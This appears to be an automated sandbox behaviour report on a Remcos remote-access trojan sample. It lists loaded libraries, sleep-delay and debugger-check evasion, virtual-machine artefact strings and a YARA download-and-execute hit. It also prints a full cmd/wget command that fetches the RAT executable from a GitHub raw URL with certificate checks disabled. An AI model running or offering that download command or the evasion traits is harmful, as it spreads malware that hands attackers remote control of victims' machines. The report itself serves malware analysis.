Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56FDF344-FD6D-11d0-958A-006097C9A090}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System32.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Xml.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.ni.pdbRSDS source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: HPdn0C:\Windows\System32.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1399643990.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\Desktop\download\System32.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.0000000006210000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Configuration.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Xml.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: mscorlib.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400375747.000000000109B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\Desktop\download\System32.pdbri source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.0000000006210000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb4 source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Core.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System32.pdb& source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: C:\Users\Gadr\source\repos\ConsoleApp5\ConsoleApp5\obj\x86\Debug\System32.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.000000000624D000.00000004.00000020.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000000.1335212870.0000000000902000.00000002.00000001.01000000.00000003.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400375747.000000000109B000.00000004.00000020.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe.2.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER70B5.tmp.dmp.6.dr

Source: Remcos-RAT-3.8.0.exe.2.dr

Static PE information: 0xFB168D89 [Fri Jun 29 11:20:41 2103 UTC]

Source: C:\Windows\SysWOW64\wget.exe

File created: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Jump to dropped file

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Memory allocated: F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Memory allocated: 2C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Memory allocated: 29E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 599442	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598798	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 595715	Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Window / User API: threadDelayed 451			Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Window / User API: threadDelayed 755			Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8540	Thread sleep count: 451 > 30	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -599871s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -599750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -599442s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -598798s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8540	Thread sleep count: 755 > 30	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -595841s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe TID: 8536	Thread sleep time: -595715s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 599442	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598798	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Thread delayed: delay time: 595715	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: wget.exe, 00000002.00000002.1321859775.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400375747.000000000109B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAMX
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dd-92 e8 86 9f a5 a6 64 93
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.24224532.B64.2408191502,BiosReleaseDate:08/19/2024,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Remcos-RAT-3.8.0.exe PID: 8472, type: MEMORYSTR

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://github.com/ox47100/remcos-rat-v3.8.0/raw/refs/heads/main/remcos-rat-3.8.0.exe" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://github.com/ox47100/remcos-rat-v3.8.0/raw/refs/heads/main/remcos-rat-3.8.0.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://github.com/ox47100/remcos-rat-v3.8.0/raw/refs/heads/main/remcos-rat-3.8.0.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe	Queries volume information: C:\Users\user\Desktop\download VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Queries volume information: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
